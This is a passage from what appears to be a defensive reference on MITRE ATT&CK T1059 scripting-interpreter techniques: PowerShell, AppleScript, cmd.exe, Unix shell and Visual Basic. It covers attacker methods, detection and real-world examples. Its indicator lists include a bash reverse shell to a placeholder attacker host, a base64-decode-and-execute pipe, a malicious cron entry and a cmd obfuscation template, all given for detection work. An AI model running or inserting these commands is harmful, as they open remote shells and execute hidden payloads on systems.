  * Proactive searches for suspicious interpreter executions, such as encoded PowerShell commands (base64 encoding), obfuscated JavaScript payloads, or scripts executed from temporary directories.
* **Network Detection:**
  * Network traffic analysis identifying downloads of malicious scripts or executables initiated by interpreter commands.
  * Detection of outbound connections initiated by interpreter processes to known malicious IP addresses or domains.
* **Specific Indicators of Compromise (IoCs):**
  * Suspicious command-line arguments (e.g., encoded PowerShell commands like "-EncodedCommand").
  * Scripts stored or executed from temporary or unusual directories.
  * Unusual scheduled tasks or cron jobs invoking scripting interpreters.
  * Abnormal process trees (e.g., Microsoft Office applications spawning cmd.exe or powershell.exe).

## Why it is Important to Detect This Technique

Early detection of malicious use of command and scripting interpreters is crucial due to the following impacts:

* **System Compromise and Loss of Confidentiality:**
  * Attackers can execute arbitrary commands, access sensitive information, or exfiltrate critical data.
* **Privilege Escalation and Persistence:**
  * Malicious scripts can escalate privileges, establish persistent footholds, and maintain long-term access.
* **Stealth and Defense Evasion:**
  * Legitimate interpreters allow attackers to blend in with normal administrative activities, evading traditional antivirus and signature-based defenses.
* **Lateral Movement and Network Propagation:**
  * Scripts and commands facilitate lateral movement within networks, rapidly escalating the scope and severity of a breach.
* **Operational Disruption and Data Integrity Issues:**
  * Malicious scripts can disrupt system operations, delete or corrupt critical data, and impact business continuity.

Early detection allows security teams to:

* Contain and remediate breaches quickly, minimizing damage and operational disruption.
* Gain visibility into attacker tactics, techniques, and procedures (TTPs), aiding future defense improvements.
* Limit the spread of compromise within the network, preserving critical assets and sensitive data.

## Examples

Real-world examples illustrating the use of command and scripting interpreters include:

* **TrickBot Malware:**
  * Uses PowerShell commands executed via cmd.exe to download and execute additional malware payloads.
  * Employs obfuscated PowerShell scripts to evade antivirus detection.
* **Emotet Malware:**
  * Utilizes malicious macros embedded in Microsoft Office documents to execute cmd.exe or PowerShell scripts, downloading further payloads onto victim systems.
* **FIN7 Group Attacks:**
  * Executes JavaScript payloads via Windows Script Host (WSH) to achieve initial access, persistence, and lateral movement within compromised networks.
* **APT32 (OceanLotus):**
  * Leverages obfuscated PowerShell scripts to execute reconnaissance commands, lateral movement, and data exfiltration tasks.
* **Lazarus Group:**
  * Uses bash scripts on Linux servers to automate reconnaissance, privilege escalation, and data exfiltration activities.
* **NotPetya Ransomware Attack:**
  * Leveraged cmd.exe and PowerShell scripts to propagate across internal networks, encrypting data and causing extensive operational disruption.

In these examples, attackers frequently employed:

* Obfuscation and encoding techniques (base64 encoding, character substitution).
* Execution via legitimate interpreter binaries (powershell.exe, cmd.exe, bash).
* Automated scripts for rapid lateral movement, privilege escalation, and data exfiltration.

The impacts of these attacks included:

* Significant data loss and leakage of sensitive information.
* Extended downtime and operational disruption.
* Significant financial and reputational damage to victim organizations.


# PowerShell

PowerShell \[T1059.001]

## Information

* Name: PowerShell
* ID: T1059.001
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

The PowerShell sub-technique (T1059.001) within the MITRE ATT\&CK framework refers specifically to adversaries leveraging PowerShell scripts or commands to execute malicious code, automate tasks, and facilitate lateral movement within compromised environments. PowerShell is a powerful scripting language and shell environment native to Windows systems, frequently exploited due to its extensive capabilities, widespread availability, and ability to interact seamlessly with Windows system components and APIs. Attackers utilize PowerShell for tasks such as reconnaissance, payload delivery, persistence, privilege escalation, and data exfiltration, often taking advantage of its flexibility and stealth potential.

## Deep Dive Into Technique

PowerShell provides attackers with a robust scripting environment capable of executing complex operations directly within Windows environments. Key technical details include:

* **Execution Methods:**
  * Direct execution of commands through command-line interfaces (`powershell.exe` or `pwsh.exe`).
  * Execution of encoded commands using Base64 encoding (`-EncodedCommand` parameter) to evade detection.
  * Running scripts from disk or memory, leveraging techniques such as reflective loading to avoid writing artifacts to disk.
* **Mechanisms and Procedures:**
  * **Obfuscation:** Attackers often obfuscate PowerShell scripts using various techniques to bypass security controls, including character substitution, string concatenation, and encoding.
  * **In-memory Execution:** PowerShell scripts can execute directly within memory using methods like reflective loading, significantly reducing forensic artifacts and complicating detection.
  * **Remote Execution:** PowerShell Remoting (`Invoke-Command`, `Enter-PSSession`) and Windows Management Instrumentation (WMI) are commonly used to execute commands across remote systems, facilitating lateral movement and persistence.
  * **Integration with Windows APIs:** PowerShell scripts can interact directly with .NET libraries and Windows APIs, allowing attackers to perform sophisticated tasks like credential harvesting, privilege escalation, and system manipulation.
  * **Fileless Malware:** PowerShell enables fileless malware techniques where malicious payloads reside only in memory, avoiding traditional antivirus signatures and detection mechanisms.
* **Commonly Abused Cmdlets and Modules:**
  * `Invoke-WebRequest` and `Invoke-RestMethod`: Downloading malicious payloads or exfiltrating data.
  * `Invoke-Expression (IEX)`: Executing dynamically downloaded scripts or commands.
  * `Start-Process`: Launching additional malicious processes.
  * `Set-ItemProperty` and `New-Item`: Modifying registry entries for persistence.

## When this Technique is Usually Used

Attackers employ PowerShell across multiple stages of the cyber kill chain, including:

* **Initial Access:**
  * Execution of malicious scripts delivered through phishing emails, malicious attachments, or compromised websites.
* **Execution:**
  * Running malicious payloads directly within memory or from encoded commands to evade antivirus detection.
* **Persistence:**
  * Creating scheduled tasks, registry modifications, or startup scripts executed via PowerShell to maintain footholds on compromised systems.
* **Privilege Escalation:**
  * Leveraging PowerShell scripts to exploit vulnerabilities or misconfigurations, elevating privileges on compromised hosts.
* **Defense Evasion:**
  * Utilizing obfuscation, encoding, and in-memory execution techniques to evade endpoint detection and response (EDR) solutions.
* **Credential Access:**
  * Extracting credentials from memory or registry using PowerShell scripts.
* **Discovery and Reconnaissance:**
  * Enumerating network resources, system configurations, and security settings through built-in PowerShell cmdlets.
* **Lateral Movement:**
  * Using PowerShell Remoting or WMI to execute commands on remote systems within the compromised network.
* **Collection and Exfiltration:**
  * Compressing, encrypting, and transferring sensitive data to attacker-controlled infrastructure via PowerShell scripts.

## How this Technique is Usually Detected

Effective detection requires a combination of logging, monitoring, and behavioral analysis techniques, including:

* **Enhanced Logging and Monitoring:**
  * Enabling PowerShell Script Block Logging (Event ID 4104), Module Logging (Event ID 4103), and Transcription Logging to capture detailed execution activities.
  * Monitoring Windows Event Logs for suspicious command-line arguments, such as encoded commands (`-EncodedCommand`) or suspicious cmdlets (`Invoke-Expression`, `DownloadString`, `Invoke-WebRequest`).
* **Endpoint Detection and Response (EDR):**
  * Deploying endpoint security solutions capable of detecting anomalous PowerShell behavior, memory injection, and suspicious process executions.
* **Behavioral Analysis and Threat Hunting:**
  * Hunting for unusual parent-child process relationships (e.g., Office applications spawning PowerShell).
  * Detecting anomalous network connections initiated by PowerShell processes to external IP addresses or domains.
  * Identifying abnormal volume or frequency of PowerShell executions across endpoints.
* **Indicators of Compromise (IoCs):**
  * Suspicious PowerShell command-line arguments:
    * `powershell.exe -EncodedCommand`
    * `powershell.exe -nop -w hidden -c`
  * Unusual script execution from temporary directories or user profiles:
    * `%APPDATA%`, `%TEMP%`, `%USERPROFILE%`
  * Unusual network traffic initiated from PowerShell processes:
    * Connections to unknown or malicious IP addresses/domains
  * Detection of obfuscated PowerShell scripts containing excessive use of character substitution, concatenation, or Base64 encoding.
* **Security Information and Event Management (SIEM):**
  * Correlating logs from endpoints, network devices, and security tools to detect and alert on suspicious PowerShell activity.

## Why it is Important to Detect This Technique

Detecting malicious PowerShell activity is critical due to its potential impact on systems and networks:

* **Stealth and Evasion:**
  * PowerShell enables attackers to execute malicious code entirely in memory, making detection difficult and allowing attackers to remain undetected for extended periods.
* **Rapid Compromise and Lateral Movement:**
  * Attackers can quickly leverage PowerShell to escalate privileges, move laterally, and compromise additional systems within the network.
* **Data Exfiltration:**
  * PowerShell scripts can easily facilitate the extraction and transmission of sensitive data outside organizational boundaries.
* **Persistence and Long-term Presence:**
  * Attackers frequently use PowerShell to establish persistent footholds, ensuring continued access even after initial compromise detection and mitigation.
* **Significant Damage Potential:**
  * Malicious PowerShell usage can lead to severe operational disruptions, intellectual property theft, financial losses, and reputational harm.

Early detection and rapid response are essential to minimize potential damage, mitigate threats effectively, and prevent attackers from achieving their objectives.

## Examples

Real-world incidents and threat actors leveraging PowerShell include:

* **APT29 (Cozy Bear):**
  * Utilized PowerShell extensively for reconnaissance, lateral movement, and persistence in high-profile breaches, including the SolarWinds supply-chain attack.
  * Employed encoded commands and obfuscated scripts to evade detection.
* **FIN7 (Carbanak Group):**
  * Leveraged PowerShell scripts embedded in malicious Office documents to deliver payloads and execute fileless malware on targeted systems.
  * Used PowerShell to establish persistence through scheduled tasks and registry modifications.
* **Emotet Malware:**
  * Distributed via phishing emails containing malicious Office macros that execute PowerShell commands to download and execute additional payloads.
  * Frequently used encoded commands and obfuscation techniques to bypass antivirus detection.
* **TrickBot Malware:**
  * Utilized PowerShell scripts for reconnaissance, credential harvesting, and lateral movement within compromised networks.
  * Employed reflective loading techniques to execute payloads directly in memory, avoiding disk-based detection.
* **Ryuk Ransomware:**
  * Deployed via PowerShell scripts that automate lateral movement, disable security tools, and execute ransomware payloads across targeted environments.
  * Used PowerShell to enumerate network shares and encrypt data rapidly, causing significant disruption.

These examples highlight the versatility and effectiveness of PowerShell as a means for attackers to achieve their objectives, emphasizing the importance of robust detection and mitigation strategies.


# AppleScript

AppleScript \[T1059.002]

## Information

* Name: AppleScript
* ID: T1059.002
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

AppleScript (T1059.002) is a sub-technique within the MITRE ATT\&CK framework under the parent technique Command and Scripting Interpreter (T1059). AppleScript is a scripting language integrated into macOS, allowing users and applications to automate tasks and interact with system components and applications. Attackers exploit AppleScript to execute malicious scripts, automate actions, and control macOS systems, making it a valuable tool for adversaries aiming to establish persistence, escalate privileges, or conduct lateral movement.

## Deep Dive Into Technique

AppleScript enables users and applications to automate repetitive tasks by interacting with macOS applications and system components through scripting commands. Malicious actors leverage AppleScript due to its native integration into macOS, ease of use, and ability to execute scripts without raising suspicion.

Technical details of AppleScript execution methods and mechanisms include:

* **Script Execution Methods:**
  * Direct execution via the built-in `osascript` utility from the command line or shell scripts.
  * Embedding AppleScript code within other scripting languages (e.g., Bash, Python) or compiled binaries.
  * Execution through Automator workflows and applications, which can encapsulate AppleScript commands.
  * Inclusion of scripts in malicious payloads delivered through email attachments, web downloads, or removable media.
* **Capabilities and Mechanisms:**
  * Interacting with system components and applications to execute commands, manipulate files, and control user interfaces.
  * Automating keylogging, screen capture, clipboard capture, and other surveillance activities.
  * Facilitating persistence by creating scheduled tasks, login items, or Launch Agents and Daemons.
  * Escalating privileges through exploitation of macOS application vulnerabilities or misconfigurations triggered via AppleScript commands.
  * Providing lateral movement capabilities within macOS networks by automating remote command execution and file transfers.
* **Real-World Procedures:**
  * Attackers frequently chain AppleScript with other macOS-native tools (e.g., Bash scripts, Automator) to evade detection.
  * AppleScript payloads are often obfuscated or encoded to bypass signature-based detections.
  * Scripts may be embedded within legitimate-looking documents or applications to trick users into execution.

## When this Technique is Usually Used

Attackers use AppleScript across multiple stages of the attack lifecycle, including:

* **Initial Access:**
  * Delivery through phishing emails containing malicious AppleScript payloads embedded in documents or archives.
  * Malicious downloads from compromised websites or software repositories.
* **Execution and Persistence:**
  * Automating malware execution upon user login by configuring login items or Launch Agents.
  * Establishing persistent backdoors by scripting periodic callbacks to command-and-control (C2) servers.
* **Privilege Escalation and Defense Evasion:**
  * Exploiting vulnerabilities in privileged macOS applications triggered through AppleScript commands.
  * Disabling security tools or modifying security settings via automated scripting.
* **Discovery and Collection:**
  * Automating reconnaissance tasks, such as enumerating system information, user data, installed software, and network connections.
  * Collecting sensitive data through automated scripts for exfiltration.
* **Lateral Movement and Command-and-Control:**
  * Automating remote command execution and data transfer between compromised hosts within a network.
  * Establishing covert communication channels to external C2 servers.

## How this Technique is Usually Detected

Detection of malicious AppleScript usage typically involves multiple approaches, including behavioral analysis, script analysis, and endpoint monitoring:

* **Endpoint Detection and Response (EDR) Tools:**
  * Monitoring execution of the `osascript` command with suspicious arguments or from unusual parent processes.
  * Detection of unusual process chains involving AppleScript execution or Automator workflows.
* **Behavioral Analysis:**
  * Identifying abnormal scripting activities, such as automated keylogging, screen captures, or clipboard monitoring.
  * Detecting persistent scripts configured as Launch Agents, Daemons, or login items.
* **File and Script Analysis:**
  * Scanning for scripts containing suspicious commands or functions (e.g., downloading external payloads, modifying system settings).
  * Identifying obfuscated or encoded AppleScript content indicative of evasion attempts.
* **Monitoring Logs and Audit Trails:**
  * Analyzing macOS audit logs for unusual scripting activity, especially involving sensitive system or user data access.
  * Reviewing user activity logs for unexpected execution of AppleScript or Automator workflows.
* **Indicators of Compromise (IoCs):**
  * Suspicious AppleScript files (.scpt, .applescript) located in unusual directories.
  * Unusual network communications initiated by scripts executed via `osascript`.
  * Creation or modification of Launch Agents or Daemons pointing to suspicious AppleScript-based payloads.

## Why it is Important to Detect This Technique

Early detection of malicious AppleScript execution is critical due to its potential impacts on system security, data confidentiality, and operational integrity:

* **Persistence and Stealth:**
  * AppleScript enables attackers to establish persistent footholds that survive reboots and evade traditional antivirus detection.
* **Privilege Escalation and System Control:**
  * Exploiting AppleScript can lead to unauthorized privilege escalation, allowing attackers full system control and access to sensitive data.
* **Data Collection and Exfiltration:**
  * Attackers automate the collection and exfiltration of sensitive personal, financial, or intellectual property data through AppleScript-driven scripts.
* **Lateral Movement and Network Compromise:**
  * AppleScript can facilitate lateral movement within macOS environments, increasing the scope and severity of compromise across organizational assets.
* **Operational and Reputational Damage:**
  * Compromise of critical macOS endpoints can result in significant operational downtime, financial losses, and reputational harm.

## Examples

Real-world examples of AppleScript attacks and incidents include:

* **OSX.Dok Malware:**
  * Delivered via phishing emails containing malicious zip files and fake documents.
  * Utilized AppleScript and Automator workflows to install a persistent backdoor, intercept HTTPS traffic, and exfiltrate sensitive user data.
  * Impact included credential theft, unauthorized access to user communications, and potential financial fraud.
* **OSX.EvilEgg Malware:**
  * Leveraged AppleScript embedded within malicious PDF documents delivered through email phishing campaigns.
  * Automated execution of payloads, persistence via Launch Agents, and exfiltration of user data to remote C2 servers.
  * Resulted in compromise of sensitive personal information and prolonged unauthorized access.
* **XCSSET Malware Family:**
  * Targeted Xcode developers by injecting malicious AppleScript payloads into Xcode projects.
  * Automated theft of browser credentials, screenshots, and sensitive development information.
  * Enabled attackers to compromise developer environments, steal intellectual property, and spread malware through compromised software distribution channels.
* **WindTail (OSX.WindTail):**
  * Distributed through phishing emails targeting macOS users, particularly in government and business sectors.
  * Utilized AppleScript to automate installation of persistent backdoors, reconnaissance, and data exfiltration.
  * Impact involved espionage, theft of sensitive organizational data, and prolonged unauthorized access to targeted systems.

These examples demonstrate the diverse ways attackers leverage AppleScript to conduct sophisticated, impactful attacks against macOS environments.


# Windows Command Shell

Windows Command Shell \[T1059.003]

## Information

* Name: Windows Command Shell
* ID: T1059.003
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

Windows Command Shell (T1059.003) is a sub-technique within the MITRE ATT\&CK framework under the Execution tactic. It involves adversaries leveraging the Windows command-line interface (cmd.exe) to execute commands, scripts, or binaries on a targeted system. Due to its availability by default on Windows operating systems, cmd.exe provides attackers a convenient and powerful tool to perform a wide range of malicious activities, including reconnaissance, execution of payloads, lateral movement, privilege escalation, and persistence.

## Deep Dive Into Technique

The Windows command shell (cmd.exe) is a native command-line interpreter available on all Windows operating systems. Attackers use it primarily because of its ubiquity, flexibility, and ability to execute commands directly or through batch scripts (.bat or .cmd files).

Technical execution methods and mechanisms include:

* **Direct Command Execution:**
  * Attackers execute commands directly via interactive shell or remotely through command-line interfaces such as PowerShell, WMI, or remote desktop sessions.
  * Example: `cmd.exe /c <malicious command>`
* **Batch Scripts:**
  * Attackers create batch files (.bat, .cmd) to automate malicious commands and scripts.
  * Batch scripts can perform complex operations, including file manipulation, service management, and registry modifications.
* **Obfuscation and Evasion:**
  * Attackers frequently obfuscate commands through encoding, environment variables, or concatenation techniques to evade detection.
  * Example of environment variable obfuscation:

    ```batch
    cmd.exe /c %SystemRoot:~0,1%%SystemRoot:~9,2% /c malicious_command
    ```
  * Use of command-line flags such as `/q` (quiet mode), `/c` (carry out command), and `/k` (keep shell open) to control execution and visibility.
* **Execution via Remote Management Tools:**
  * Attackers leverage remote execution methods such as PsExec, WMI, WinRM, or PowerShell Remoting to invoke cmd.exe remotely on compromised hosts.
* **Living-off-the-Land Binaries (LOLBins):**
  * Legitimate Windows binaries (e.g., rundll32.exe, mshta.exe, regsvr32.exe) can invoke cmd.exe to execute malicious payloads indirectly.

## When this Technique is Usually Used

Attack scenarios and stages where Windows Command Shell execution commonly appears include:

* **Initial Access and Execution:**
  * Attackers exploiting vulnerabilities or phishing attacks may execute initial payloads through cmd.exe to establish a foothold.
* **Privilege Escalation:**
  * Attackers leverage cmd.exe to execute commands that exploit vulnerabilities, misconfigurations, or weak permissions for privilege escalation.
* **Persistence:**
  * Adversaries frequently use cmd.exe to set up persistent mechanisms, such as scheduled tasks, registry run keys, or startup folders.
* **Defense Evasion:**
  * Attackers utilize cmd.exe to disable security tools, clear logs, or modify system configurations to evade detection.
* **Discovery and Reconnaissance:**
  * Attackers execute built-in commands (e.g., `net user`, `systeminfo`, `ipconfig`, `tasklist`) to enumerate system information, users, network configurations, and running processes.
* **Lateral Movement:**
  * Attackers utilize remote execution techniques through cmd.exe to move laterally within a compromised network environment.
* **Exfiltration:**
  * Attackers use cmd.exe to compress, encrypt, or transfer sensitive information externally through built-in utilities (e.g., `ftp`, `bitsadmin`) or third-party tools.

## How this Technique is Usually Detected

Detection methods, tools, and indicators of compromise (IoCs) include:

* **Process Creation and Command-Line Monitoring:**
  * Monitor process creation events (Windows Event ID 4688) to detect suspicious cmd.exe executions.
  * Observe unusual command-line arguments, suspicious parent-child process relationships, or cmd.exe invoked by unexpected processes.
* **Sysmon and EDR Tools:**
  * Utilize Sysinternals Sysmon or Endpoint Detection and Response (EDR) tools to capture detailed command-line execution logs.
  * Look for patterns indicative of obfuscation or suspicious command parameters.
* **Behavioral Analytics:**
  * Employ security analytics solutions to detect anomalies in command-line executions, frequency, and context deviations from baseline user/system behavior.
* **Event Log Analysis:**
  * Regularly analyze Windows Security Event Logs for unusual cmd.exe execution patterns, including unexpected user contexts or elevated privileges.
* **File System Monitoring:**
  * Monitor creation and execution of batch (.bat/.cmd) files in unusual directories or with suspicious content.
* **Indicators of Compromise (IoCs):**
  * Suspicious command-line parameters (e.g., encoded commands, obfuscation techniques).
  * Execution of commands commonly associated with reconnaissance or lateral movement (`net use`, `net user`, `ipconfig`, `tasklist`, `systeminfo`).
  * Abnormal parent-child process relationships (e.g., Office applications spawning cmd.exe).

## Why it is Important to Detect This Technique

Detecting the malicious use of Windows Command Shell is critical due to its potential impacts on systems and networks:

* **Early Stage Detection:**
  * Early identification of suspicious cmd.exe usage can disrupt attackers during initial access or execution phases, preventing further compromise.
* **Preventing Privilege Escalation:**
  * Detection helps prevent attackers from escalating privileges to administrative levels, reducing potential damage.
* **Limiting Lateral Movement:**
  * Timely detection can thwart attackers' attempts to move laterally across networks and limit the scope of compromise.
* **Reducing Data Exfiltration:**
  * Early detection of suspicious command execution can prevent or limit data exfiltration attempts, protecting sensitive information.
* **Mitigating Persistence and Defense Evasion:**
  * Identifying malicious cmd.exe usage can help defenders quickly remediate persistence mechanisms and defense evasion tactics, restoring system integrity.
* **Minimizing Operational Impact:**
  * Early detection and response minimize downtime, reduce remediation costs, and protect organizational reputation.

## Examples

Real-world examples demonstrating Windows Command Shell (T1059.003) usage include:

* **APT29 (Cozy Bear):**
  * Used cmd.exe extensively for reconnaissance, lateral movement, and execution of payloads.
  * Leveraged obfuscated command-line arguments and batch files to evade detection and execute malicious scripts.
* **FIN7:**
  * Utilized cmd.exe to execute reconnaissance commands such as `systeminfo`, `tasklist`, and `net user` to identify targets and escalate privileges.
  * Employed batch scripts to automate lateral movement and persistence mechanisms.
* **Emotet Malware:**
  * Leveraged cmd.exe to execute PowerShell commands, download additional payloads, and establish persistence mechanisms.
  * Frequently used obfuscation techniques to bypass traditional detection mechanisms.
* **TrickBot Malware:**
  * Used cmd.exe to execute commands for lateral movement, reconnaissance, and credential harvesting.
  * Invoked cmd.exe through scheduled tasks and registry-based persistence methods.
* **Ryuk Ransomware:**
  * Used cmd.exe to stop security services, delete backups, and disable recovery options prior to ransomware encryption.
  * Executed batch scripts to automate destructive operations and ensure maximum impact.

In each of these examples, attackers effectively leveraged cmd.exe due to its ubiquity, flexibility, and ease of use, highlighting the importance of robust detection and monitoring strategies.


# Unix Shell

Unix Shell \[T1059.004]

## Information

* Name: Unix Shell
* ID: T1059.004
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

Unix Shell ([T1059.004](https://gitlab.com/jibril-gitbook/Kitab/-/blob/main/mitre/TA0002/techniques/T1059.004.md)) is a sub-technique under the MITRE ATT\&CK framework's Execution tactic, specifically categorized under Command and Scripting Interpreter (T1059). Attackers leverage Unix shells, such as Bash, Zsh, or Sh, to execute malicious code, run scripts, automate tasks, and interact directly with compromised systems. This sub-technique encompasses the use of shell commands and scripts executed directly through the Unix/Linux command-line interface or via scripts, providing attackers with flexible and powerful tools to achieve their objectives.

## Deep Dive Into Technique

Attackers commonly exploit Unix shells due to their ubiquity, flexibility, and powerful scripting capabilities. Unix shells provide access to system resources, file systems, network communications, and user privileges, making them ideal for attackers to carry out malicious activities.

Technical details and execution methods include:

* **Interactive Shell Sessions:**
  * Directly running commands or scripts through interactive shell sessions (e.g., Bash, Sh, Zsh).
  * Attackers may establish interactive shells remotely through SSH, Telnet, or reverse shells initiated via netcat, Python, Perl, or other scripting languages.
* **Script Execution:**
  * Using shell scripts (.sh files) to automate malicious actions, such as privilege escalation, reconnaissance, lateral movement, and persistence.
  * Scripts can be executed manually, via cron jobs, or through exploitation of vulnerable services and applications.
* **Shell Built-ins and Utilities:**
  * Utilizing standard Unix utilities such as `curl`, `wget`, `scp`, `ssh`, `nc`, `sed`, `awk`, and others to facilitate data exfiltration, payload downloads, persistence, or lateral movement.
  * Employing built-in shell commands (`echo`, `printf`, `exec`, `eval`) to execute encoded or obfuscated payloads.
* **Chained Commands and Obfuscation:**
  * Attackers often chain commands using pipes (`|`), semicolons (`;`), logical operators (`&&`, `||`), and redirections (`>`, `<`) to execute multiple actions in a single line or script.
  * Obfuscation techniques, such as base64 encoding, hexadecimal encoding, or character substitution, are frequently used to evade detection.
* **Privilege Elevation Attempts:**
  * Attackers may exploit misconfigured SUID binaries, sudo privileges, or kernel vulnerabilities through shell commands and scripts to escalate privileges from standard user accounts to root.

## When this Technique is Usually Used

Attackers leverage Unix shell sub-techniques across multiple stages of the attack lifecycle, including:

* **Initial Access and Exploitation:**
  * Exploiting vulnerabilities in web applications, SSH services, or remote code execution flaws to establish initial shell access.
* **Execution and Persistence:**
  * Executing malicious scripts or commands to establish persistent backdoors, cron jobs, or scheduled tasks.
  * Using shell scripts to maintain persistence by automating reconnection attempts or creating hidden processes.
* **Privilege Escalation:**
  * Exploiting misconfigured permissions, vulnerable binaries, or kernel exploits via shell commands to elevate privileges.
* **Defense Evasion:**
  * Using shell commands to disable logging, modify audit trails, clear log files, or obfuscate malicious activities.
* **Credential Access and Lateral Movement:**
  * Extracting credentials from configuration files, environment variables, or memory.
  * Using SSH, SCP, or other shell-based utilities to move laterally within the network.
* **Collection and Exfiltration:**
  * Employing shell commands and utilities (`tar`, `gzip`, `scp`, `curl`, `wget`) to compress and send sensitive data to attacker-controlled infrastructure.

## How this Technique is Usually Detected

Detection of Unix shell sub-techniques involves monitoring and analyzing various system and network indicators, including:

* **Process Monitoring and Auditing:**
  * Monitoring process execution logs (`auditd`, `syslog`, `auth.log`, `bash_history`) to detect suspicious or unusual command executions.
  * Implementing Linux audit frameworks (Auditd rules) to track execution of sensitive commands and binaries.
* **Command-Line Logging and Analysis:**
  * Capturing and analyzing command-line arguments and parameters for suspicious patterns, obfuscated commands, encoded payloads, or unusual command chaining.
  * Using Extended Bash History logging (with timestamps and user IDs) to correlate suspicious activities.
* **File System Monitoring:**
  * Monitoring for creation or modification of suspicious shell scripts (`.sh` files) in unusual directories (`/tmp`, `/dev/shm`, `/var/tmp`, user home directories).
  * Detecting unexpected changes in system binaries or scripts.
* **Network Traffic Analysis:**
  * Identifying unusual outbound network connections initiated by shell utilities (`curl`, `wget`, `nc`, `scp`, `rsync`) to external IP addresses or domains.
  * Analyzing DNS logs for suspicious domain lookups triggered by shell commands.
* **User Behavior Analytics:**
  * Leveraging behavioral analytics tools to detect deviations from normal user command-line patterns and workflows.

Specific Indicators of Compromise (IoCs):

* Suspicious shell commands (e.g., reverse shells):

  ```
  bash -i >& /dev/tcp/attacker_ip/port 0>&1
  ```
* Encoded payloads executed via shell commands:

  ```
  echo "payload" | base64 -d | bash
  ```
* Unusual cron job entries or scheduled tasks executing shell scripts:

  ```
  */5 * * * * /tmp/malicious.sh
  ```
* Presence of suspicious shell scripts in temporary directories:

  ```
  /tmp/.hidden_script.sh
  ```

## Why it is Important to Detect This Technique

Detecting Unix shell sub-techniques early is critical due to their significant impacts on system security, operational stability, and data integrity. Importance includes:

* **Preventing Privilege Escalation:**
  * Early detection of shell-based privilege escalation attempts prevents attackers from gaining administrative or root-level access, limiting potential damage.
* **Reducing Dwell Time:**
  * Quickly identifying shell-based malicious activities significantly reduces attacker dwell time, limiting the opportunity to move laterally or exfiltrate sensitive data.
* **Protecting Sensitive Data:**
  * Detection prevents attackers from successfully exfiltrating sensitive information, intellectual property, or credentials from compromised systems.
* **Maintaining System Integrity and Availability:**
  * Early identification and remediation of shell-based attacks minimize the risk of attackers disrupting critical system operations, modifying system binaries, or causing denial-of-service conditions.
* **Improving Incident Response Efficiency:**
  * Clear detection of shell-based malicious activities provides incident responders with actionable intelligence, allowing rapid containment, remediation, and recovery.

## Examples

Real-world examples of Unix shell sub-techniques include:

* **Equifax Data Breach (2017):**
  * Attackers exploited Apache Struts vulnerability (CVE-2017-5638), gaining initial shell access to Equifax servers.
  * Utilized Unix shell commands to establish persistence, escalate privileges, and exfiltrate sensitive personal data of millions of users.
* **Shellshock Vulnerability (CVE-2014-6271):**
  * Attackers exploited the Bash Shellshock vulnerability to execute arbitrary shell commands remotely on vulnerable Unix/Linux systems.
  * Shell commands were used to deploy reverse shells, install malware, and establish persistent access.
* **Operation Windigo (2014):**
  * Attackers leveraged Unix shell scripts and commands extensively to compromise thousands of Linux servers.
  * Shell scripts automated malware deployment, credential harvesting, and spam distribution activities.
* **Crypto-Mining Campaigns:**
  * Attackers frequently leverage Unix shell scripts to download and execute cryptocurrency mining malware on compromised Linux servers.
  * Shell commands automate malware deployment, persistence, and resource usage monitoring.

Common tools used by attackers in Unix shell attacks:

* Reverse shells: `netcat`, `bash`, `python`, `perl`
* Data exfiltration utilities: `scp`, `curl`, `wget`, `rsync`
* Privilege escalation scripts and tools: `LinEnum.sh`, `LinPEAS.sh`, `GTFOBins`
* Automated exploitation frameworks: `Metasploit`, `Empire`, `Cobalt Strike`

Impacts observed in these examples:

* Massive data breaches and sensitive information exposure.
* System compromise, unauthorized access, and persistent footholds.
* Financial loss due to crypto-mining resource abuse.
* Significant reputational damage and regulatory penalties.


# Visual Basic

Visual Basic \[T1059.005]

## Information

* Name: Visual Basic
* ID: T1059.005
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1059](/mitre/mitre/ta0002/t1059)

## Introduction

Visual Basic (VB) scripting, identified as sub-technique T1059.005 in the MITRE ATT\&CK framework, refers to adversaries employing VB scripts to execute malicious commands or payloads on targeted systems. Visual Basic scripts are commonly used due to their native support on Windows systems, ease of use, and capability to interact seamlessly with various Windows components. Attackers leverage VB scripts to automate execution, evade detection, and perform various malicious activities, including persistence, lateral movement, and command-and-control (C2) communication.

## Deep Dive Into Technique

Visual Basic scripts (VBS) are plain-text scripts executed by the Windows Script Host (WSH) environment, which includes tools such as `wscript.exe` and `cscript.exe`. Attackers exploit these built-in Windows utilities to execute malicious scripts without invoking external binaries, thus reducing suspicion.

Technical details include:

* **Execution Methods:**
  * Direct invocation using `wscript.exe` or `cscript.exe` from command-line or batch scripts.
  * Embedding VB scripts within Office documents (macros) to execute malicious payloads upon user interaction.
  * Utilizing scripts stored in registry keys or scheduled tasks to establish persistence.
* **Common Mechanisms:**
  * Leveraging VB scripts for reconnaissance, such as enumerating system information, network shares, and installed software.
  * Downloading additional payloads from remote servers using built-in objects like `XMLHTTP` or `WinHttpRequest`.
  * Encoding or obfuscating scripts (e.g., Base64 encoding, string concatenation, character substitution) to evade signature-based detection mechanisms.
  * Using COM objects for direct interaction with Windows APIs, enabling attackers to manipulate system settings, execute commands, or manage processes.
* **Real-world Procedures:**
  * Attackers frequently embed malicious VB scripts within phishing emails or compromised websites, enticing users to execute malicious macros or scripts.
  * Malicious scripts are often deployed in targeted attacks via spear-phishing campaigns, exploiting user trust and lack of security awareness.
  * Advanced persistent threat (APT) actors utilize VB scripts for stealthy execution and persistence due to their low detection profile and native Windows integration.

## When this Technique is Usually Used

Attack scenarios and stages where Visual Basic scripting is commonly utilized include:

* **Initial Access and Delivery:**
  * Malicious email attachments (e.g., Office documents with embedded VB macros).
  * Drive-by downloads from compromised websites.
* **Execution and Persistence:**
  * Establishing persistent footholds through scheduled tasks or registry modifications.
  * Automating execution of secondary payloads after initial compromise.
* **Defense Evasion:**
  * Using obfuscated or encoded VB scripts to avoid detection by antivirus and endpoint detection and response (EDR) solutions.
  * Leveraging legitimate Windows scripting hosts (`wscript.exe`, `cscript.exe`) to blend with normal system behavior.
* **Lateral Movement and Privilege Escalation:**
